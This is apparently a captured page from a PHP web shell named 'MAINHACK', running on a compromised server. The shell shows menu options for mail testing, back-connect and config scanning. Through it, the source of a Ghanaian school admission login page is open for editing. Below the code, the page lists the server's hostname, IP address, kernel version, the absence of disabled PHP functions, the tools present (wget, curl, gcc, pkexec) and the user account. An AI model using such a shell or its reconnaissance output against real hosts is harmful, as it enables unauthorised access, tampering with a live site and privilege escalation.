[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: myhome.php
<?php include("functions.php"); $message = ""; if ($_SERVER["REQUEST_METHOD"] == "POST") { if (!csrf_token_is_valid() || !csrf_token_is_recent()) { $message = "<p class='alert alert-danger text-center' role='alert'>Token Authentication Failed</p>"; } else { $indexNo = test_input($_POST['indexNo']); $schoolCode = test_input($_POST['schoolCode']); // Use prepared statement to check enrol_details $stmt = mysqli_prepare($new, "SELECT * FROM enrol_generic WHERE indexNo = ? AND s_code = ?"); mysqli_stmt_bind_param($stmt, "ss", $indexNo,$schoolCode); mysqli_stmt_execute($stmt); $result = mysqli_stmt_get_result($stmt); $row = mysqli_num_rows($result); if ($row > 0) { $fetch = mysqli_fetch_array($result); $db_username = $fetch['indexNo']; $myschoolcode = $fetch['s_code']; // Check admission status $stmt2 = mysqli_prepare($new, "SELECT admission_status FROM admission_info WHERE s_code = ?"); mysqli_stmt_bind_param($stmt2, "s", $schoolCode); mysqli_stmt_execute($stmt2); $result2 = mysqli_stmt_get_result($stmt2); if (mysqli_num_rows($result2) > 0) { $fetchh = mysqli_fetch_array($result2); $admin_status = $fetchh['admission_status']; if ($admin_status == 'CLOSED') { //header("Location: admission_closed.php"); exit(); } else { // $_SESSION['myschoolcode'] = $myschoolcode; // $_SESSION['index_no78897498'] = $db_username; // Assuming $indexNo and $schoolCode are already sanitized/validated header("Location: check_status?myindex=" . urlencode($indexNo) . "&myschoolcode=" . urlencode($schoolCode)); exit(); // header("Location: check_status?myindex='$indexNo'&& myschoolcode=$schoolCode"); // exit(); } } else { $message = "<p class='alert alert-danger text-center'>Error: School admission information not found</p>"; } mysqli_stmt_close($stmt2); } else { $message = "<p class='alert alert-danger text-center'>Error: Index number does not exist</p>"; } mysqli_stmt_close($stmt); } } ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>Student Login</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta content="eliosof" name="author" /> <!-- Bootstrap CSS --> <link href="assets/css/bootstrap.min.css" rel="stylesheet"> <link href="assets/css/icons.min.css" rel="stylesheet"> <link href="assets/css/app.min.css" rel="stylesheet"> <link href="https://cdnjs.cloudflare.com/ajax/libs/select2/4.1.0-beta.1/css/select2.min.css" rel="stylesheet" /> <style> body { background-image: url('440.jpg'); background-size: cover; background-position: center; background-repeat: no-repeat; min-height: 100vh; display: flex; align-items: center; justify-content: center; font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; } .login-card { background: rgba(255, 255, 255, 0.92); backdrop-filter: blur(6px); border-radius: 20px; box-shadow: 0 8px 25px rgba(0, 0, 0, 0.2); padding: 2rem; width: 100%; max-width: 500px; animation: fadeIn 0.6s ease-in-out; } .login-title { font-weight: 700; font-size: 1.4rem; margin-bottom: 1rem; text-transform: uppercase; letter-spacing: 1px; color: #0d6efd; } .login-instructions { font-size: 0.9rem; line-height: 1.5; color: #333; text-align: justify; margin-bottom: 1.5rem; } .form-label { font-weight: 500; margin-bottom: 0.3rem; } .form-control, .select2-container .select2-selection--single { border-radius: 12px !important; padding: 0.6rem; } .btn-primary { border-radius: 12px; font-weight: 600; padding: 0.75rem; } .login-footer { font-size: 0.85rem; color: #555; margin-top: 1.5rem; } .login-footer a { color: #0d6efd; text-decoration: none; font-weight: 500; } .login-footer a:hover { text-decoration: underline; } /* Select2 custom styling with logos */ .school-option { display: flex; align-items: center; gap: 10px; } .school-option img { width: 25px; height: 25px; border-radius: 50%; object-fit: cover; } @keyframes fadeIn { from { opacity: 0; transform: translateY(20px); } to { opacity: 1; transform: translateY(0); } } /* Fix Select2 look */ .select2-container .select2-selection--single { height: 45px !important; border-radius: 12px !important; display: flex; align-items: center; padding: 5px 12px; } /* Fix dropdown results */ .select2-results__option { display: flex; align-items: center; gap: 10px; padding: 6px 10px; } /* Logo inside dropdown and selection */ .school-option img { width: 25px; height: 25px; border-radius: 50%; object-fit: cover; } </style> </head> <body> <div class="login-card"> <h2 class="login-title text-center">BB Edu Consult Online Admission (BBECAS )</h2> <center><p style="font-size:32px">Admission Instructions</p></center> <div class="text-center mb-3"> <?php if($message != "") { echo $message; } ?> </div> <?php if (isset($_GET['error'])): ?> <?php if ($_GET['error'] === 'invalid'): ?> <div class="alert alert-danger text-center"> Invalid index number or school code. Please try again. </div> <?php elseif ($_GET['error'] === 'missing'): ?> <div class="alert alert-warning text-center"> Please provide your index number and school code. </div> <?php endif; ?> <?php endif; ?> <p class="login-instructions"> Please ensure that you have printed your CSSPS PLACEMENT FORM. Your ENROLMENT CODE, which can be found on your Placement Form, is required by this system. Your admission is NOT complete without your Enrolment Code. </p> <form method="POST" class="needs-validation" novalidate> <!-- School Dropdown --> <!-- School Dropdown --> <div class="mb-3"> <label class="form-label">Select Your School</label> <select class="form-select school-select" name="schoolCode" required> <option value="">-- Select Your School --</option> <?php $getallshs = mysqli_query($new,"SELECT DISTINCT logo, school_name,school_code FROM schools ORDER BY school_name DESC"); while($row = mysqli_fetch_assoc($getallshs)) { $logo = $row['logo']; $name = $row['school_name']; $school_code = $row['school_code']; echo '<option value="'.$school_code.'" data-logo="'.$logo.'">'.$name.'</option>'; } ?> </select> <div class="invalid-feedback">Please select your school</div> </div> <!-- Index Number --> <div class="mb-3"> <label class="form-label">Enter your B.E.C.E Index Number followed by the year (e.g., 500000000023)</label> <input type="number" class="form-control" name="indexNo" placeholder="Enter your JHS index number" required> <div class="invalid-feedback">Index number is required</div> </div> <button class="btn btn-primary w-100" type="submit" name="submit">GET REFERENCE NUMBER</button> </form> <div class="login-footer text-center"> <a href="login">Already registered? Click here</a> <h6 class="mt-3 fw-bold">HELPLINE: +233 249 632 59</h6> <a href="https://m.shsadmissionportal.com/school-admin"><p class="mt-3 fw-bold">Click here to reach your school’s system administrator </p></a> <p class="mt-2 mb-0">© <script>document.write(new Date().getFullYear())</script> Powered by BBECAS</p> </div> </div> <!-- JS --> <script src="assets/libs/jquery/jquery.min.js"></script> <script src="assets/libs/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/select2/4.1.0-beta.1/js/select2.min.js"></script> <script src="assets/js/pages/pass-addon.init.js"></script> <script src="assets/js/pages/validation.init.js"></script> <script> // Initialize Select2 with proper template for logos $(".school-select").select2({ placeholder: "-- Select Your School --", width: '100%', templateResult: function (data) { if (!data.id) return data.text; let logo = $(data.element).data('logo'); return $('<span class="school-option"><img src="'+logo+'" />'+data.text+'</span>'); }, templateSelection: function (data) { if (!data.id) return data.text; let logo = $(data.element).data('logo'); return $('<span class="school-option"><img src="'+logo+'" />'+data.text+'</span>'); } }); </script> </body> </html> <script> // Bootstrap form validation (function () { 'use strict'; const form = document.getElementById('paymentForm'); form.addEventListener('submit', function (event) { event.preventDefault(); event.stopPropagation(); if (form.checkValidity()) { payWithPaystack(); } form.classList.add('was-validated'); }, false); })(); function payWithPaystack() { const form = document.getElementById('paymentForm'); const formData = new FormData(form); const schoolCode = formData.get('schoolCode'); const indexNo = formData.get('indexNo'); const csrfToken = formData.get('csrf_token'); // AJAX to initialize transaction const xhr = new XMLHttpRequest(); xhr.open('POST', 'initialize.php'); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onreadystatechange = function () { if (xhr.readyState === 4) { if (xhr.status === 200) { const response = JSON.parse(xhr.responseText); if (response.status) { // Open Paystack popup const handler = PaystackPop.setup({ key: 'pk_test_your_public_key_here', // Replace with test public key email: 'student@example.com', // Replace with actual email amount: 1000, // 10 GHS in pesewas (modify as needed) currency: 'GHS', access_code: response.data.access_code, metadata: { school_code: schoolCode, index_number: indexNo }, onClose: function () { alert('Payment cancelled'); }, callback: function (response) { alert('Payment successful! Reference: ' + response.reference); window.location.href = 'verify.php?reference=' + response.reference; } }); handler.openIframe(); } else { alert('Initialization failed: ' + response.message + '\nDetails: ' + JSON.stringify(response)); } } else { alert('Server error: ' + xhr.status); } } }; xhr.send(`schoolCode=${encodeURIComponent(schoolCode)}&indexNo=${encodeURIComponent(indexNo)}&csrf_token=${encodeURIComponent(csrfToken)}`); } </script> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"> </script>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002